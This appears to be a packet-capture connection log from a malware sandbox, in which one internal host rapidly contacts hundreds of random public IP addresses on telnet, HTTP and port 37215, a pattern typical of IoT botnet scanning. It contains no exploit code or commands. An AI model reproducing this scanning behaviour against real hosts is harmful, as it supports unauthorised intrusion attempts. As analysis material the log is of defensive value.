Dec 3, 2024 22:01:59.863142967 CET	39808	23	192.168.2.14	66.212.160.11
Dec 3, 2024 22:01:59.863142967 CET	39808	23	192.168.2.14	48.109.93.176
Dec 3, 2024 22:01:59.863152027 CET	39808	23	192.168.2.14	158.38.129.103
Dec 3, 2024 22:01:59.863154888 CET	39808	23	192.168.2.14	222.137.95.38
Dec 3, 2024 22:01:59.863164902 CET	39808	23	192.168.2.14	13.235.120.66
Dec 3, 2024 22:01:59.863164902 CET	39808	23	192.168.2.14	47.11.132.196
Dec 3, 2024 22:01:59.863171101 CET	39808	23	192.168.2.14	198.109.144.134
Dec 3, 2024 22:01:59.863172054 CET	39808	23	192.168.2.14	223.41.194.16
Dec 3, 2024 22:01:59.863173008 CET	39808	23	192.168.2.14	208.27.213.89
Dec 3, 2024 22:01:59.863183022 CET	39808	23	192.168.2.14	184.9.67.112
Dec 3, 2024 22:01:59.863187075 CET	39808	23	192.168.2.14	205.239.32.168
Dec 3, 2024 22:01:59.863197088 CET	39808	23	192.168.2.14	114.16.95.195
Dec 3, 2024 22:01:59.863198996 CET	39808	23	192.168.2.14	130.12.13.205
Dec 3, 2024 22:01:59.863204002 CET	39808	23	192.168.2.14	145.58.232.189
Dec 3, 2024 22:01:59.863204002 CET	39808	23	192.168.2.14	151.148.156.204
Dec 3, 2024 22:01:59.863205910 CET	39808	23	192.168.2.14	166.70.60.72
Dec 3, 2024 22:01:59.863208055 CET	39808	23	192.168.2.14	71.59.91.230
Dec 3, 2024 22:01:59.863209009 CET	39808	23	192.168.2.14	154.163.243.184
Dec 3, 2024 22:01:59.863212109 CET	39808	23	192.168.2.14	174.187.2.34
Dec 3, 2024 22:01:59.863212109 CET	39808	23	192.168.2.14	142.33.160.76
Dec 3, 2024 22:01:59.863226891 CET	39808	23	192.168.2.14	209.159.170.219
Dec 3, 2024 22:01:59.863234997 CET	39808	23	192.168.2.14	110.35.70.3
Dec 3, 2024 22:01:59.863240957 CET	39808	23	192.168.2.14	63.48.228.45
Dec 3, 2024 22:01:59.863240957 CET	39808	23	192.168.2.14	179.110.152.109
Dec 3, 2024 22:01:59.863249063 CET	39808	23	192.168.2.14	204.205.62.145
Dec 3, 2024 22:01:59.863250017 CET	39808	23	192.168.2.14	108.104.176.103
Dec 3, 2024 22:01:59.863250017 CET	39808	23	192.168.2.14	191.190.31.217
Dec 3, 2024 22:01:59.863250017 CET	39808	23	192.168.2.14	202.58.199.139
Dec 3, 2024 22:01:59.863250017 CET	39808	23	192.168.2.14	138.23.65.177
Dec 3, 2024 22:01:59.863250971 CET	39808	23	192.168.2.14	108.40.176.0
Dec 3, 2024 22:01:59.863250971 CET	39808	23	192.168.2.14	93.29.252.72
Dec 3, 2024 22:01:59.863365889 CET	39808	23	192.168.2.14	149.116.22.224
Dec 3, 2024 22:01:59.885927916 CET	39296	80	192.168.2.14	60.237.166.35
Dec 3, 2024 22:01:59.885932922 CET	39296	80	192.168.2.14	182.197.9.130
Dec 3, 2024 22:01:59.885934114 CET	39296	80	192.168.2.14	31.248.238.225
Dec 3, 2024 22:01:59.885955095 CET	39296	80	192.168.2.14	213.17.247.77
Dec 3, 2024 22:01:59.885957003 CET	39296	80	192.168.2.14	171.9.191.205
Dec 3, 2024 22:01:59.885957003 CET	39296	80	192.168.2.14	118.46.174.57
Dec 3, 2024 22:01:59.885957956 CET	39296	80	192.168.2.14	211.71.37.208
Dec 3, 2024 22:01:59.885957956 CET	39296	80	192.168.2.14	69.162.134.94
Dec 3, 2024 22:01:59.885966063 CET	39296	80	192.168.2.14	121.197.97.135
Dec 3, 2024 22:01:59.885966063 CET	39296	80	192.168.2.14	93.154.8.94
Dec 3, 2024 22:01:59.885971069 CET	39296	80	192.168.2.14	25.220.225.49
Dec 3, 2024 22:01:59.885972023 CET	39296	80	192.168.2.14	39.216.106.233
Dec 3, 2024 22:01:59.885972023 CET	39296	80	192.168.2.14	130.132.3.94
Dec 3, 2024 22:01:59.885972023 CET	39296	80	192.168.2.14	190.68.178.1
Dec 3, 2024 22:01:59.885973930 CET	39296	80	192.168.2.14	103.41.68.23
Dec 3, 2024 22:01:59.885973930 CET	39296	80	192.168.2.14	167.144.1.170
Dec 3, 2024 22:01:59.885976076 CET	39296	80	192.168.2.14	146.194.20.11
Dec 3, 2024 22:01:59.885976076 CET	39296	80	192.168.2.14	34.63.20.219
Dec 3, 2024 22:01:59.885976076 CET	39296	80	192.168.2.14	113.187.155.196
Dec 3, 2024 22:01:59.885977983 CET	39296	80	192.168.2.14	146.80.50.225
Dec 3, 2024 22:01:59.885984898 CET	39296	80	192.168.2.14	108.90.124.211
Dec 3, 2024 22:01:59.885986090 CET	39296	80	192.168.2.14	119.196.107.97
Dec 3, 2024 22:01:59.885986090 CET	39296	80	192.168.2.14	184.171.127.193
Dec 3, 2024 22:01:59.885987997 CET	39296	80	192.168.2.14	101.160.42.120
Dec 3, 2024 22:01:59.885996103 CET	39296	80	192.168.2.14	47.159.179.173
Dec 3, 2024 22:01:59.886013031 CET	39296	80	192.168.2.14	190.132.229.154
Dec 3, 2024 22:01:59.886014938 CET	39296	80	192.168.2.14	133.84.33.38
Dec 3, 2024 22:01:59.886019945 CET	39296	80	192.168.2.14	177.31.174.17
Dec 3, 2024 22:01:59.886023045 CET	39296	80	192.168.2.14	149.59.137.164
Dec 3, 2024 22:01:59.886023998 CET	39296	80	192.168.2.14	134.154.99.130
Dec 3, 2024 22:01:59.886029959 CET	39296	80	192.168.2.14	36.119.31.235
Dec 3, 2024 22:01:59.886034966 CET	39296	80	192.168.2.14	137.16.9.107
Dec 3, 2024 22:01:59.886040926 CET	39296	80	192.168.2.14	133.11.105.200
Dec 3, 2024 22:01:59.886051893 CET	39296	80	192.168.2.14	20.111.95.112
Dec 3, 2024 22:01:59.886059999 CET	39296	80	192.168.2.14	128.193.42.94
Dec 3, 2024 22:01:59.886060953 CET	39296	80	192.168.2.14	100.191.96.161
Dec 3, 2024 22:01:59.886059999 CET	39296	80	192.168.2.14	146.9.170.42
Dec 3, 2024 22:01:59.886059999 CET	39296	80	192.168.2.14	197.189.110.150
Dec 3, 2024 22:01:59.886059999 CET	39296	80	192.168.2.14	111.100.106.254
Dec 3, 2024 22:01:59.886065960 CET	39296	80	192.168.2.14	83.119.73.59
Dec 3, 2024 22:01:59.886070013 CET	39296	80	192.168.2.14	50.119.174.187
Dec 3, 2024 22:01:59.886075974 CET	39296	80	192.168.2.14	5.167.13.209
Dec 3, 2024 22:01:59.886075974 CET	39296	80	192.168.2.14	93.158.192.221
Dec 3, 2024 22:01:59.886077881 CET	39296	80	192.168.2.14	106.50.20.118
Dec 3, 2024 22:01:59.886077881 CET	39296	80	192.168.2.14	197.250.68.174
Dec 3, 2024 22:01:59.886082888 CET	39296	80	192.168.2.14	139.105.47.130
Dec 3, 2024 22:01:59.886085033 CET	39296	80	192.168.2.14	160.53.228.234
Dec 3, 2024 22:01:59.886087894 CET	39296	80	192.168.2.14	84.156.163.250
Dec 3, 2024 22:01:59.886099100 CET	39296	80	192.168.2.14	70.86.19.87
Dec 3, 2024 22:01:59.886100054 CET	39296	80	192.168.2.14	96.213.44.9
Dec 3, 2024 22:01:59.886102915 CET	39296	80	192.168.2.14	37.75.109.138
Dec 3, 2024 22:01:59.886102915 CET	39296	80	192.168.2.14	149.108.136.181
Dec 3, 2024 22:01:59.886105061 CET	39296	80	192.168.2.14	160.177.72.2
Dec 3, 2024 22:01:59.886126041 CET	39296	80	192.168.2.14	198.147.171.64
Dec 3, 2024 22:01:59.886126995 CET	39296	80	192.168.2.14	125.192.80.197
Dec 3, 2024 22:01:59.886127949 CET	39296	80	192.168.2.14	106.234.154.235
Dec 3, 2024 22:01:59.886142015 CET	39296	80	192.168.2.14	27.178.138.145
Dec 3, 2024 22:01:59.886145115 CET	39296	80	192.168.2.14	79.30.22.146
Dec 3, 2024 22:01:59.886147022 CET	39296	80	192.168.2.14	69.218.28.9
Dec 3, 2024 22:01:59.886158943 CET	39296	80	192.168.2.14	223.246.134.180
Dec 3, 2024 22:01:59.886158943 CET	39296	80	192.168.2.14	72.213.166.158
Dec 3, 2024 22:01:59.886158943 CET	39296	80	192.168.2.14	128.17.75.31
Dec 3, 2024 22:01:59.886161089 CET	39296	80	192.168.2.14	219.11.12.147
Dec 3, 2024 22:01:59.886168003 CET	39296	80	192.168.2.14	78.157.145.111
Dec 3, 2024 22:01:59.886168003 CET	39296	80	192.168.2.14	77.82.246.144
Dec 3, 2024 22:01:59.886176109 CET	39296	80	192.168.2.14	107.170.224.209
Dec 3, 2024 22:01:59.886178970 CET	39296	80	192.168.2.14	141.126.42.46
Dec 3, 2024 22:01:59.886178970 CET	39296	80	192.168.2.14	103.127.54.57
Dec 3, 2024 22:01:59.886179924 CET	39296	80	192.168.2.14	73.83.60.158
Dec 3, 2024 22:01:59.886182070 CET	39296	80	192.168.2.14	96.132.207.137
Dec 3, 2024 22:01:59.886182070 CET	39296	80	192.168.2.14	135.247.4.28
Dec 3, 2024 22:01:59.886195898 CET	39296	80	192.168.2.14	77.191.132.25
Dec 3, 2024 22:01:59.886195898 CET	39296	80	192.168.2.14	184.167.108.102
Dec 3, 2024 22:01:59.886197090 CET	39296	80	192.168.2.14	163.19.132.156
Dec 3, 2024 22:01:59.886215925 CET	39296	80	192.168.2.14	142.38.197.128
Dec 3, 2024 22:01:59.886217117 CET	39296	80	192.168.2.14	221.86.181.60
Dec 3, 2024 22:01:59.886218071 CET	39296	80	192.168.2.14	183.146.44.187
Dec 3, 2024 22:01:59.886218071 CET	39296	80	192.168.2.14	103.218.179.43
Dec 3, 2024 22:01:59.886229038 CET	39296	80	192.168.2.14	135.67.97.51
Dec 3, 2024 22:01:59.886229038 CET	39296	80	192.168.2.14	213.95.137.224
Dec 3, 2024 22:01:59.886229992 CET	39296	80	192.168.2.14	107.102.7.168
Dec 3, 2024 22:01:59.886229992 CET	39296	80	192.168.2.14	91.191.106.160
Dec 3, 2024 22:01:59.886229038 CET	39296	80	192.168.2.14	86.86.73.58
Dec 3, 2024 22:01:59.886233091 CET	39296	80	192.168.2.14	116.225.196.88
Dec 3, 2024 22:01:59.886233091 CET	39296	80	192.168.2.14	200.91.20.127
Dec 3, 2024 22:01:59.886238098 CET	39296	80	192.168.2.14	195.61.142.89
Dec 3, 2024 22:01:59.886250019 CET	39296	80	192.168.2.14	34.253.240.46
Dec 3, 2024 22:01:59.886251926 CET	39296	80	192.168.2.14	140.174.231.64
Dec 3, 2024 22:01:59.886254072 CET	39296	80	192.168.2.14	115.64.137.103
Dec 3, 2024 22:01:59.886255980 CET	39296	80	192.168.2.14	198.27.139.75
Dec 3, 2024 22:01:59.886255980 CET	39296	80	192.168.2.14	170.192.150.255
Dec 3, 2024 22:01:59.886255980 CET	39296	80	192.168.2.14	65.95.154.35
Dec 3, 2024 22:01:59.886261940 CET	39296	80	192.168.2.14	153.0.237.4
Dec 3, 2024 22:01:59.886264086 CET	39296	80	192.168.2.14	222.82.142.6
Dec 3, 2024 22:01:59.886265039 CET	39296	80	192.168.2.14	101.7.211.68
Dec 3, 2024 22:01:59.886270046 CET	39296	80	192.168.2.14	95.127.171.129
Dec 3, 2024 22:01:59.886276960 CET	39296	80	192.168.2.14	78.175.16.60
Dec 3, 2024 22:01:59.886281013 CET	39296	80	192.168.2.14	86.41.158.145
Dec 3, 2024 22:01:59.886281013 CET	39296	80	192.168.2.14	73.207.241.112
Dec 3, 2024 22:01:59.886282921 CET	39296	80	192.168.2.14	25.158.75.121
Dec 3, 2024 22:01:59.886282921 CET	39296	80	192.168.2.14	62.218.98.216
Dec 3, 2024 22:01:59.886286974 CET	39296	80	192.168.2.14	105.9.174.252
Dec 3, 2024 22:01:59.886297941 CET	39296	80	192.168.2.14	74.116.37.142
Dec 3, 2024 22:01:59.886298895 CET	39296	80	192.168.2.14	25.234.79.254
Dec 3, 2024 22:01:59.886307001 CET	39296	80	192.168.2.14	65.0.196.63
Dec 3, 2024 22:01:59.886307001 CET	39296	80	192.168.2.14	18.54.41.220
Dec 3, 2024 22:01:59.886323929 CET	39296	80	192.168.2.14	62.246.168.205
Dec 3, 2024 22:01:59.886324883 CET	39296	80	192.168.2.14	46.109.248.131
Dec 3, 2024 22:01:59.886324883 CET	39296	80	192.168.2.14	136.226.251.108
Dec 3, 2024 22:01:59.886326075 CET	39296	80	192.168.2.14	133.246.133.57
Dec 3, 2024 22:01:59.886329889 CET	39296	80	192.168.2.14	181.47.111.21
Dec 3, 2024 22:01:59.886329889 CET	39296	80	192.168.2.14	71.236.66.189
Dec 3, 2024 22:01:59.886329889 CET	39296	80	192.168.2.14	8.46.55.14
Dec 3, 2024 22:01:59.886333942 CET	39296	80	192.168.2.14	171.72.204.194
Dec 3, 2024 22:01:59.886333942 CET	39296	80	192.168.2.14	85.240.214.150
Dec 3, 2024 22:01:59.886333942 CET	39296	80	192.168.2.14	117.93.148.199
Dec 3, 2024 22:01:59.886333942 CET	39296	80	192.168.2.14	211.122.66.39
Dec 3, 2024 22:01:59.886353016 CET	39296	80	192.168.2.14	74.4.23.116
Dec 3, 2024 22:01:59.886353016 CET	39296	80	192.168.2.14	107.127.178.230
Dec 3, 2024 22:01:59.886356115 CET	39296	80	192.168.2.14	161.14.124.203
Dec 3, 2024 22:01:59.886357069 CET	39296	80	192.168.2.14	61.158.97.253
Dec 3, 2024 22:01:59.886357069 CET	39296	80	192.168.2.14	206.129.189.2
Dec 3, 2024 22:01:59.886365891 CET	39296	80	192.168.2.14	132.89.63.125
Dec 3, 2024 22:01:59.886367083 CET	39296	80	192.168.2.14	181.227.248.67
Dec 3, 2024 22:01:59.886367083 CET	39296	80	192.168.2.14	64.139.195.111
Dec 3, 2024 22:01:59.886367083 CET	39296	80	192.168.2.14	94.168.246.121
Dec 3, 2024 22:01:59.886378050 CET	39296	80	192.168.2.14	41.227.38.239
Dec 3, 2024 22:01:59.886378050 CET	39296	80	192.168.2.14	23.219.115.204
Dec 3, 2024 22:01:59.886378050 CET	39296	80	192.168.2.14	174.176.27.239
Dec 3, 2024 22:01:59.886378050 CET	39296	80	192.168.2.14	128.99.152.0
Dec 3, 2024 22:01:59.886380911 CET	39296	80	192.168.2.14	64.119.8.228
Dec 3, 2024 22:01:59.886388063 CET	39296	80	192.168.2.14	212.230.8.156
Dec 3, 2024 22:01:59.886399031 CET	39296	80	192.168.2.14	139.129.53.204
Dec 3, 2024 22:01:59.886399031 CET	39296	80	192.168.2.14	150.255.233.89
Dec 3, 2024 22:01:59.886404991 CET	39296	80	192.168.2.14	54.70.124.223
Dec 3, 2024 22:01:59.886423111 CET	39296	80	192.168.2.14	171.45.169.211
Dec 3, 2024 22:01:59.886437893 CET	39296	80	192.168.2.14	172.96.236.205
Dec 3, 2024 22:01:59.886440039 CET	39296	80	192.168.2.14	72.207.11.2
Dec 3, 2024 22:01:59.886441946 CET	39296	80	192.168.2.14	209.49.179.123
Dec 3, 2024 22:01:59.886442900 CET	39296	80	192.168.2.14	94.13.2.49
Dec 3, 2024 22:01:59.886449099 CET	39296	80	192.168.2.14	139.33.158.229
Dec 3, 2024 22:01:59.886451006 CET	39296	80	192.168.2.14	70.104.183.234
Dec 3, 2024 22:01:59.886457920 CET	39296	80	192.168.2.14	212.202.101.190
Dec 3, 2024 22:01:59.886457920 CET	39296	80	192.168.2.14	102.88.13.251
Dec 3, 2024 22:01:59.886457920 CET	39296	80	192.168.2.14	189.130.189.109
Dec 3, 2024 22:01:59.886457920 CET	39296	80	192.168.2.14	100.175.12.67
Dec 3, 2024 22:01:59.886462927 CET	39296	80	192.168.2.14	80.126.36.181
Dec 3, 2024 22:01:59.886462927 CET	39296	80	192.168.2.14	80.83.83.60
Dec 3, 2024 22:01:59.886462927 CET	39296	80	192.168.2.14	81.244.172.80
Dec 3, 2024 22:01:59.886480093 CET	39296	80	192.168.2.14	82.248.78.228
Dec 3, 2024 22:01:59.886481047 CET	39296	80	192.168.2.14	196.209.39.235
Dec 3, 2024 22:01:59.886487007 CET	39296	80	192.168.2.14	181.223.235.153
Dec 3, 2024 22:01:59.886487007 CET	39296	80	192.168.2.14	177.105.56.252
Dec 3, 2024 22:01:59.886488914 CET	39296	80	192.168.2.14	126.42.2.128
Dec 3, 2024 22:01:59.886507034 CET	39296	80	192.168.2.14	106.120.40.236
Dec 3, 2024 22:01:59.886507034 CET	39296	80	192.168.2.14	89.82.252.160
Dec 3, 2024 22:01:59.886508942 CET	39296	80	192.168.2.14	195.189.90.64
Dec 3, 2024 22:01:59.886508942 CET	39296	80	192.168.2.14	42.247.184.30
Dec 3, 2024 22:01:59.886509895 CET	39296	80	192.168.2.14	191.57.45.103
Dec 3, 2024 22:01:59.886517048 CET	39296	80	192.168.2.14	95.167.152.160
Dec 3, 2024 22:01:59.886526108 CET	40832	37215	192.168.2.14	156.157.186.39
Dec 3, 2024 22:01:59.886528969 CET	39296	80	192.168.2.14	110.38.36.61
Dec 3, 2024 22:01:59.886532068 CET	40832	37215	192.168.2.14	197.38.200.115
Dec 3, 2024 22:01:59.886539936 CET	39296	80	192.168.2.14	52.218.16.66
Dec 3, 2024 22:01:59.886539936 CET	39296	80	192.168.2.14	25.12.80.66
Dec 3, 2024 22:01:59.886540890 CET	40832	37215	192.168.2.14	156.113.159.195
Dec 3, 2024 22:01:59.886540890 CET	40832	37215	192.168.2.14	197.206.106.252
Dec 3, 2024 22:01:59.886548042 CET	40832	37215	192.168.2.14	156.179.107.160
Dec 3, 2024 22:01:59.886548042 CET	40832	37215	192.168.2.14	197.103.16.18
Dec 3, 2024 22:01:59.886554956 CET	39296	80	192.168.2.14	82.105.83.192
Dec 3, 2024 22:01:59.886558056 CET	40832	37215	192.168.2.14	156.128.121.205
Dec 3, 2024 22:01:59.886559010 CET	40832	37215	192.168.2.14	41.109.147.152
Dec 3, 2024 22:01:59.886560917 CET	39296	80	192.168.2.14	182.155.166.171
Dec 3, 2024 22:01:59.886560917 CET	40832	37215	192.168.2.14	41.166.14.146
Dec 3, 2024 22:01:59.886560917 CET	40832	37215	192.168.2.14	197.16.204.162
Dec 3, 2024 22:01:59.886563063 CET	39296	80	192.168.2.14	150.103.51.124
Dec 3, 2024 22:01:59.886563063 CET	39296	80	192.168.2.14	176.6.200.238
Dec 3, 2024 22:01:59.886565924 CET	39296	80	192.168.2.14	57.176.200.41
Dec 3, 2024 22:01:59.886565924 CET	39296	80	192.168.2.14	164.88.143.171
Dec 3, 2024 22:01:59.886571884 CET	39296	80	192.168.2.14	175.224.151.56
Dec 3, 2024 22:01:59.886571884 CET	39296	80	192.168.2.14	71.51.191.146
Dec 3, 2024 22:01:59.886576891 CET	40832	37215	192.168.2.14	197.78.14.174
Dec 3, 2024 22:01:59.886575937 CET	39296	80	192.168.2.14	97.45.88.193
Dec 3, 2024 22:01:59.886578083 CET	39296	80	192.168.2.14	24.144.164.167
Dec 3, 2024 22:01:59.886581898 CET	39296	80	192.168.2.14	59.40.226.175
Dec 3, 2024 22:01:59.886583090 CET	39296	80	192.168.2.14	202.139.13.10
Dec 3, 2024 22:01:59.886583090 CET	40832	37215	192.168.2.14	197.169.10.20
Dec 3, 2024 22:01:59.886588097 CET	39296	80	192.168.2.14	19.15.126.127
Dec 3, 2024 22:01:59.886586905 CET	39296	80	192.168.2.14	57.251.37.199
Dec 3, 2024 22:01:59.886586905 CET	39296	80	192.168.2.14	222.209.51.147
Dec 3, 2024 22:01:59.886595964 CET	39296	80	192.168.2.14	171.29.156.101
Dec 3, 2024 22:01:59.886595964 CET	39296	80	192.168.2.14	114.69.6.183
Dec 3, 2024 22:01:59.886605024 CET	39296	80	192.168.2.14	166.79.220.116
Dec 3, 2024 22:01:59.886606932 CET	40832	37215	192.168.2.14	41.38.87.217
Dec 3, 2024 22:01:59.886606932 CET	40832	37215	192.168.2.14	41.227.12.230
Dec 3, 2024 22:01:59.886606932 CET	40832	37215	192.168.2.14	41.120.76.0
Dec 3, 2024 22:01:59.886606932 CET	39296	80	192.168.2.14	176.225.161.58
Dec 3, 2024 22:01:59.886606932 CET	39296	80	192.168.2.14	147.207.6.179
Dec 3, 2024 22:01:59.886612892 CET	40832	37215	192.168.2.14	156.118.147.194
Dec 3, 2024 22:01:59.886622906 CET	40832	37215	192.168.2.14	41.218.229.238
Dec 3, 2024 22:01:59.886626005 CET	39296	80	192.168.2.14	223.27.163.222
Dec 3, 2024 22:01:59.886629105 CET	40832	37215	192.168.2.14	41.106.142.196
Dec 3, 2024 22:01:59.886630058 CET	39296	80	192.168.2.14	14.78.47.174
Dec 3, 2024 22:01:59.886631966 CET	39296	80	192.168.2.14	64.57.37.220
Dec 3, 2024 22:01:59.886631966 CET	39296	80	192.168.2.14	65.135.164.101
Dec 3, 2024 22:01:59.886631966 CET	40832	37215	192.168.2.14	156.208.194.71
Dec 3, 2024 22:01:59.886631966 CET	40832	37215	192.168.2.14	197.153.69.200
Dec 3, 2024 22:01:59.886646032 CET	40832	37215	192.168.2.14	197.20.4.21
Dec 3, 2024 22:01:59.886647940 CET	40832	37215	192.168.2.14	197.255.129.25
Dec 3, 2024 22:01:59.886647940 CET	39296	80	192.168.2.14	192.160.151.201
Dec 3, 2024 22:01:59.886660099 CET	39296	80	192.168.2.14	73.203.98.5
Dec 3, 2024 22:01:59.886660099 CET	40832	37215	192.168.2.14	41.179.204.75
Dec 3, 2024 22:01:59.886660099 CET	40832	37215	192.168.2.14	156.121.152.154
Dec 3, 2024 22:01:59.886661053 CET	40832	37215	192.168.2.14	156.187.3.158
Dec 3, 2024 22:01:59.886662006 CET	40832	37215	192.168.2.14	41.251.108.113
Dec 3, 2024 22:01:59.886662006 CET	40832	37215	192.168.2.14	41.214.142.108
Dec 3, 2024 22:01:59.886662006 CET	40832	37215	192.168.2.14	197.116.166.87
Dec 3, 2024 22:01:59.886662006 CET	40832	37215	192.168.2.14	197.130.247.211
Dec 3, 2024 22:01:59.886671066 CET	39296	80	192.168.2.14	122.146.171.81
Dec 3, 2024 22:01:59.886671066 CET	39296	80	192.168.2.14	123.120.223.14
Dec 3, 2024 22:01:59.886674881 CET	40832	37215	192.168.2.14	41.194.118.14
Dec 3, 2024 22:01:59.886678934 CET	39296	80	192.168.2.14	45.98.13.68
Dec 3, 2024 22:01:59.886678934 CET	39296	80	192.168.2.14	121.42.148.185
Dec 3, 2024 22:01:59.886678934 CET	39296	80	192.168.2.14	201.193.150.181
Dec 3, 2024 22:01:59.886679888 CET	40832	37215	192.168.2.14	156.87.129.117
Dec 3, 2024 22:01:59.886678934 CET	39296	80	192.168.2.14	94.111.233.227
Dec 3, 2024 22:01:59.886679888 CET	40832	37215	192.168.2.14	41.200.110.235
Dec 3, 2024 22:01:59.886682034 CET	39296	80	192.168.2.14	221.205.199.13
Dec 3, 2024 22:01:59.886682034 CET	39296	80	192.168.2.14	74.164.63.208
Dec 3, 2024 22:01:59.886682987 CET	39296	80	192.168.2.14	172.138.96.19
Dec 3, 2024 22:01:59.886696100 CET	40832	37215	192.168.2.14	41.228.216.4
Dec 3, 2024 22:01:59.886696100 CET	40832	37215	192.168.2.14	41.223.81.230
Dec 3, 2024 22:01:59.886696100 CET	40832	37215	192.168.2.14	41.14.59.40
Dec 3, 2024 22:01:59.886697054 CET	40832	37215	192.168.2.14	41.179.45.209
Dec 3, 2024 22:01:59.886704922 CET	40832	37215	192.168.2.14	197.65.99.176
Dec 3, 2024 22:01:59.886704922 CET	40832	37215	192.168.2.14	41.34.4.156
Dec 3, 2024 22:01:59.886704922 CET	39296	80	192.168.2.14	97.171.28.229
Dec 3, 2024 22:01:59.886704922 CET	40832	37215	192.168.2.14	197.129.6.69
Dec 3, 2024 22:01:59.886704922 CET	39296	80	192.168.2.14	212.81.252.236
Dec 3, 2024 22:01:59.886708975 CET	39296	80	192.168.2.14	51.5.144.86
Dec 3, 2024 22:01:59.886708975 CET	39296	80	192.168.2.14	201.51.101.0
Dec 3, 2024 22:01:59.886708975 CET	39296	80	192.168.2.14	113.224.178.237
Dec 3, 2024 22:01:59.886708975 CET	39296	80	192.168.2.14	152.156.98.162
Dec 3, 2024 22:01:59.886708975 CET	40832	37215	192.168.2.14	156.197.201.195
Dec 3, 2024 22:01:59.886709929 CET	39296	80	192.168.2.14	205.159.179.27
Dec 3, 2024 22:01:59.886709929 CET	40832	37215	192.168.2.14	41.84.191.111
Dec 3, 2024 22:01:59.886710882 CET	40832	37215	192.168.2.14	197.187.140.89
Dec 3, 2024 22:01:59.886709929 CET	39296	80	192.168.2.14	89.235.166.41
Dec 3, 2024 22:01:59.886710882 CET	40832	37215	192.168.2.14	156.144.61.125
Dec 3, 2024 22:01:59.886710882 CET	40832	37215	192.168.2.14	41.155.187.195
Dec 3, 2024 22:01:59.886710882 CET	39296	80	192.168.2.14	160.109.76.202
Dec 3, 2024 22:01:59.886713028 CET	40832	37215	192.168.2.14	156.240.123.162
Dec 3, 2024 22:01:59.886724949 CET	39296	80	192.168.2.14	41.175.8.157
Dec 3, 2024 22:01:59.886724949 CET	39296	80	192.168.2.14	173.108.214.189
Dec 3, 2024 22:01:59.886724949 CET	39296	80	192.168.2.14	140.44.192.246
Dec 3, 2024 22:01:59.886727095 CET	40832	37215	192.168.2.14	197.138.42.215
Dec 3, 2024 22:01:59.886727095 CET	39296	80	192.168.2.14	106.112.33.222
Dec 3, 2024 22:01:59.886727095 CET	39296	80	192.168.2.14	110.57.130.242
Dec 3, 2024 22:01:59.886727095 CET	39296	80	192.168.2.14	204.228.125.82
Dec 3, 2024 22:01:59.886729002 CET	39296	80	192.168.2.14	110.180.63.179
Dec 3, 2024 22:01:59.886729956 CET	40832	37215	192.168.2.14	156.125.83.225
Dec 3, 2024 22:01:59.886729956 CET	40832	37215	192.168.2.14	156.238.18.208
Dec 3, 2024 22:01:59.886732101 CET	39296	80	192.168.2.14	213.79.214.50
Dec 3, 2024 22:01:59.886732101 CET	40832	37215	192.168.2.14	156.98.218.191
Dec 3, 2024 22:01:59.886733055 CET	39296	80	192.168.2.14	186.6.104.192
Dec 3, 2024 22:01:59.886733055 CET	39296	80	192.168.2.14	198.2.170.63
Dec 3, 2024 22:01:59.886733055 CET	39296	80	192.168.2.14	161.166.248.93
Dec 3, 2024 22:01:59.886733055 CET	40832	37215	192.168.2.14	41.138.35.174
Dec 3, 2024 22:01:59.886733055 CET	40832	37215	192.168.2.14	197.212.96.107
Dec 3, 2024 22:01:59.886735916 CET	40832	37215	192.168.2.14	41.215.248.242
Dec 3, 2024 22:01:59.886735916 CET	39296	80	192.168.2.14	62.233.8.240
Dec 3, 2024 22:01:59.886735916 CET	39296	80	192.168.2.14	166.222.227.56
Dec 3, 2024 22:01:59.886735916 CET	40832	37215	192.168.2.14	41.113.94.34
Dec 3, 2024 22:01:59.886735916 CET	40832	37215	192.168.2.14	156.230.230.199
Dec 3, 2024 22:01:59.886743069 CET	39296	80	192.168.2.14	62.85.97.199
Dec 3, 2024 22:01:59.886751890 CET	39296	80	192.168.2.14	106.172.41.143
Dec 3, 2024 22:01:59.886751890 CET	39296	80	192.168.2.14	200.249.227.139
Dec 3, 2024 22:01:59.886751890 CET	39296	80	192.168.2.14	135.60.184.72
Dec 3, 2024 22:01:59.886751890 CET	39296	80	192.168.2.14	189.179.234.177
Dec 3, 2024 22:01:59.886751890 CET	40832	37215	192.168.2.14	197.213.251.249
Dec 3, 2024 22:01:59.886751890 CET	40832	37215	192.168.2.14	41.209.16.88
Dec 3, 2024 22:01:59.886754990 CET	39296	80	192.168.2.14	173.21.85.243
Dec 3, 2024 22:01:59.886754990 CET	39296	80	192.168.2.14	94.53.14.189
Dec 3, 2024 22:01:59.886755943 CET	40832	37215	192.168.2.14	197.214.90.200
Dec 3, 2024 22:01:59.886755943 CET	40832	37215	192.168.2.14	41.121.34.96
Dec 3, 2024 22:01:59.886755943 CET	39296	80	192.168.2.14	152.90.126.116
Dec 3, 2024 22:01:59.886755943 CET	40832	37215	192.168.2.14	41.192.183.26
Dec 3, 2024 22:01:59.886755943 CET	39296	80	192.168.2.14	18.29.142.50
Dec 3, 2024 22:01:59.886755943 CET	40832	37215	192.168.2.14	197.191.254.73
Dec 3, 2024 22:01:59.886755943 CET	40832	37215	192.168.2.14	197.137.104.4
Dec 3, 2024 22:01:59.886755943 CET	40832	37215	192.168.2.14	197.209.115.245
Dec 3, 2024 22:01:59.886755943 CET	39296	80	192.168.2.14	4.254.58.190
Dec 3, 2024 22:01:59.886759996 CET	40832	37215	192.168.2.14	197.96.28.5
Dec 3, 2024 22:01:59.886760950 CET	40832	37215	192.168.2.14	197.63.126.207
Dec 3, 2024 22:01:59.886760950 CET	39296	80	192.168.2.14	125.148.25.74
Dec 3, 2024 22:01:59.886760950 CET	40832	37215	192.168.2.14	197.91.61.211
Dec 3, 2024 22:01:59.886760950 CET	39296	80	192.168.2.14	62.80.133.160
Dec 3, 2024 22:01:59.886760950 CET	40832	37215	192.168.2.14	41.191.188.132
Dec 3, 2024 22:01:59.886773109 CET	39296	80	192.168.2.14	31.9.111.144
Dec 3, 2024 22:01:59.886773109 CET	40832	37215	192.168.2.14	197.63.150.155
Dec 3, 2024 22:01:59.886774063 CET	39296	80	192.168.2.14	196.46.226.119
Dec 3, 2024 22:01:59.886781931 CET	39296	80	192.168.2.14	86.9.55.54
Dec 3, 2024 22:01:59.886781931 CET	39296	80	192.168.2.14	73.253.105.40
Dec 3, 2024 22:01:59.886781931 CET	39296	80	192.168.2.14	8.55.103.44
Dec 3, 2024 22:01:59.886781931 CET	40832	37215	192.168.2.14	41.94.170.153
Dec 3, 2024 22:01:59.886784077 CET	40832	37215	192.168.2.14	197.158.185.205
Dec 3, 2024 22:01:59.886781931 CET	40832	37215	192.168.2.14	41.137.216.234
